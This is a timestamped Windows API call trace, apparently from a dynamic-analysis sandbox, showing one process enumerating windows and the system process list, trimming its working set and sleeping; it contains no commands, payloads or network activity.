[0284.822] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0284.822] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0284.822] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0284.823] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0284.823] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0284.823] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0284.823] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0284.823] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0284.823] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0284.823] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0284.823] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0284.823] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0284.823] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0284.824] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0284.824] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0284.824] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0284.824] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0284.824] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0284.824] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0284.824] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0284.824] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0284.824] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0284.824] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0284.824] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0284.825] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0284.825] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0284.825] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0284.825] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0284.825] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0284.825] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0284.825] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0284.825] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0284.825] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0284.825] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0284.826] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0284.826] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0284.826] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0284.826] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.826] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0284.826] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.826] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0284.826] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.826] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.826] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0284.826] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.827] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.827] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0284.827] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0284.827] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0284.827] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0284.827] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0284.827] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0284.827] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0284.827] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0284.828] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.828] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.828] GetWindowThreadProcessId (in: hWnd=0x10332, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0284.828] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0284.828] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0284.836] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0284.836] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.836] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0284.837] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0284.837] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0284.837] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0284.837] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0284.837] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0284.837] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0284.837] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0284.837] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0284.837] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0284.837] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0284.837] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0284.838] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0284.838] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0284.838] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0284.838] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0284.838] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0284.838] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0284.838] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0284.838] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0284.838] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0284.838] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0284.838] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0284.839] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0284.839] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0284.839] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0284.839] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0284.839] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0284.839] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0284.839] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0284.839] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0284.839] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0284.839] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0284.840] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0284.841] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0284.841] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0284.841] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0284.841] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0284.841] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0284.841] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0284.841] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0284.841] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0284.841] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0284.841] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0284.842] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0284.842] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0284.842] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0284.842] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0284.842] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0284.842] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0284.842] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0284.842] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0284.842] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0284.842] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0284.842] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0284.843] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0284.843] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0284.843] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0284.843] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0284.843] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0284.843] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0284.843] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0284.843] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0284.843] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0284.843] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0284.844] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0284.844] GetWindowThreadProcessId (in: hWnd=0x10338, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0284.844] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0284.845] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0285.112] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0285.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11b80) returned 0x0
[0285.624] EnumWindows (lpEnumFunc=0x1b1a2aac, lParam=0x0) returned 1
[0285.865] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0285.865] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.865] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.865] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.865] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.865] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0285.865] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.865] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0285.866] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0285.866] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.866] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.866] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.866] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.866] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.866] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.866] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.866] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.866] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0285.866] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.867] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0285.867] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0285.867] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0285.867] GetWindowThreadProcessId (in: hWnd=0x300a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.867] GetWindow (hWnd=0x300a8, uCmd=0x4) returned 0x102e0
[0285.867] GetWindowThreadProcessId (in: hWnd=0x10320, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.867] GetWindow (hWnd=0x10320, uCmd=0x4) returned 0x0
[0285.867] IsWindowVisible (hWnd=0x10320) returned 0
[0285.867] GetWindowThreadProcessId (in: hWnd=0x1031c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.867] GetWindow (hWnd=0x1031c, uCmd=0x4) returned 0x0
[0285.867] IsWindowVisible (hWnd=0x1031c) returned 0
[0285.867] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.867] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0285.867] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.868] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
[0285.868] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.868] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0285.868] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.868] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0285.868] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.868] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0285.868] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0285.868] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0285.868] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.868] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0285.868] IsWindowVisible (hWnd=0x102e0) returned 0
[0285.868] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0285.868] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0285.868] IsWindowVisible (hWnd=0x102e6) returned 0
